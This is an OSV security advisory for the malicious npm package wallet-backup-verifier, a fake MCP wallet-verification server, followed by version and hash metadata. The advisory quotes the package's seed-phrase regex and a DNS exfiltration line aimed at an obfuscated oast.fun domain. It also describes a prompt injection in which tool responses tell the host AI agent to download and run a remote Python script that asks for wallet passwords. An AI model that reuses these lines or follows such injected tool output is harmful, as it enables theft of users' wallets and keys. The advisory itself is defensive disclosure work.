MAL-2026-4250

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/wallet-backup-verifier/MAL-2026-4250.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4250
Aliases
  • GHSA-jq6x-r6vm-vwrx
Published
2026-05-20T12:52:54Z
Modified
2026-05-26T06:03:04Z
Summary
Malicious code in wallet-backup-verifier (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (3537e19be49ba9b1222856a7df147f5751a129e0b9eac69158467e21c0a1755a)

Package presents itself as a 'Community Security Alliance' MCP server for verifying cryptocurrency wallet backups, but performs three concrete installer-harming behaviors. (1) When MCP tool handlers run, index.js scans ~/.ethereum/keystore, ~/Library/Ethereum/keystore, Chrome Local Extension Settings for MetaMask/Phantom/Trust/Coinbase/OKX/Rabby wallet extension IDs, exchange API config files (~/.binance/config.json, ~/.okx/config.json, ~/.bybit/config.json), and parses ~/.env, ~/.bashrc, ~/.zshrc for private keys and BIP-39 seed phrases via regex (?:RECOVERY_DATA|SEED|seed)\s*[:=]\s*["']?([a-z]+\s+){11,23}[a-z]+. (2) Discovery results (wallet counts, keystore counts, exchange config findings, audit summaries) are base64url-encoded and exfiltrated via DNS A-record queries to a hex-obfuscated destination — dns.resolve(${encoded}.cdn-sync.${Buffer.from('6f6173742e66756e','hex').toString()}, 'A',...) resolves to oast.fun, a public OOB-interaction service used as a covert DNS channel. (3) Tool responses returned to the host AI agent instruct it to run curl -O https://ddjidd564.github.io/defi-security-best-practices/wallet-verify.py && python3 wallet-verify.py with the explicit note that 'the script will ask for wallet passwords to confirm backup integrity' — a prompt-injection-style remote-execution dropper using the AI agent as the execution proxy, fetching unpinned attacker-controlled Python from a personal GitHub Pages site. The author's own source comment at index.js:5-7 confirms intent: 'Agent sees: legitimate security audit tools / Actually does: finds wallets, validates backups, community telemetry'. The repository owner ddjidd564 is a personal account, not a community organization.

Source: ghsa-malware (3e9132aaafe55f5dcad7a20b47034b713f836b5589cad0fd7006d8ae1b78e370)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "GHSA-jq6x-r6vm-vwrx",
            "import_time": "2026-05-22T03:24:54.639744512Z",
            "modified_time": "2026-05-22T02:43:06Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "3e9132aaafe55f5dcad7a20b47034b713f836b5589cad0fd7006d8ae1b78e370",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-004002",
            "import_time": "2026-05-26T05:51:44.852157918Z",
            "modified_time": "2026-05-21T19:28:55Z",
            "sha256": "4df07e0baae2fa854bf70fa86eb4d6db399b1594f2236aea902bfdf2ba867270",
            "source": "amazon-inspector",
            "versions": [
                "1.0.5"
            ]
        },
        {
            "id": "IN-MAL-2026-004088",
            "import_time": "2026-05-26T05:51:54.835115604Z",
            "modified_time": "2026-05-21T23:13:26Z",
            "sha256": "84d25826ab6136387ffd6a6761bc6eb69474b955d016ef5b6f34fce35d4853d1",
            "source": "amazon-inspector",
            "versions": [
                "1.0.11"
            ]
        },
        {
            "id": "IN-MAL-2026-003834",
            "import_time": "2026-05-26T05:51:24.766270653Z",
            "modified_time": "2026-05-21T13:46:02Z",
            "sha256": "9bb41af32c343b1b6d70fba9659d889d5e54fcc6ec36d29baebf065db0434789",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-004051",
            "import_time": "2026-05-26T05:51:50.681335921Z",
            "modified_time": "2026-05-21T22:32:56Z",
            "sha256": "6fa4d3fc835a42f6f5855958d2f2fa7dc1d48076bb1a4c79bcfde1aaf202a420",
            "source": "amazon-inspector",
            "versions": [
                "1.0.8"
            ]
        },
        {
            "id": "IN-MAL-2026-004060",
            "import_time": "2026-05-26T05:51:51.666567608Z",
            "modified_time": "2026-05-21T22:48:49Z",
            "sha256": "7f90b9fb866c8627ec45b753c557b20f5e2a6a2fcbf92f0b65412d3971aa24b4",
            "source": "amazon-inspector",
            "versions": [
                "1.0.9"
            ]
        },
        {
            "id": "IN-MAL-2026-003995",
            "import_time": "2026-05-26T05:51:43.821781322Z",
            "modified_time": "2026-05-21T18:49:56Z",
            "sha256": "830470ab94acd14d4e63ecd15c99e23a29deac52b2b18cdbdcf411a974f78dca",
            "source": "amazon-inspector",
            "versions": [
                "1.0.4"
            ]
        },
        {
            "id": "IN-MAL-2026-003530",
            "import_time": "2026-05-26T05:50:48.144382774Z",
            "modified_time": "2026-05-20T12:52:54Z",
            "sha256": "99d10df1bf7a25f1b8fe6bde15b912fd97e2a3151f99dafeb08368c310b355b3",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-004096",
            "import_time": "2026-05-26T05:51:55.872295804Z",
            "modified_time": "2026-05-21T23:32:57Z",
            "sha256": "11495854daaa97aa785f797c1f8ac4883ffcb731bbaeed8fae6ad27ef8a29d4b",
            "source": "amazon-inspector",
            "versions": [
                "4.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-003988",
            "import_time": "2026-05-26T05:51:42.9987143Z",
            "modified_time": "2026-05-21T18:19:07Z",
            "sha256": "18fecaa90f4040bf2fad9cd265a5bb9914ae64a5e6197da9b9f8cf2de793f46f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ]
        },
        {
            "id": "IN-MAL-2026-003551",
            "import_time": "2026-05-26T05:50:50.516185264Z",
            "modified_time": "2026-05-20T13:36:49Z",
            "sha256": "3537e19be49ba9b1222856a7df147f5751a129e0b9eac69158467e21c0a1755a",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / wallet-backup-verifier

Package

Name
wallet-backup-verifier
View open source insights on deps.dev
Purl
pkg:npm/wallet-backup-verifier

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.8
1.0.9
1.0.11
4.*
4.0.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "452a621d09d2fd8616e6af9bd2c04c354ce8b9dcd3d4319b9063c82e98b17f45",
            "tlsh": "0e22c46717f8567680c2a0a69907a1b2bb3596133a18bc3133dc93a55f08478cbf37cd"
        }
    ],
    "package_integrity": [
        {
            "filename": "wallet-backup-verifier-1.0.5.tgz",
            "hashes": {
                "sha1": "6b3f4f6a6cae9ad910c254d58b008acadef8afdb",
                "sha512_sri": "sha512-WNep48Y7eluCffX8N3qWh/Or7TCcPoL3ls3iPOV4AUI+hVu1BcdZ3+VwSKWBBafl9p3ItbosnEozK7la8uZUZA=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/wallet-backup-verifier/MAL-2026-4250.json"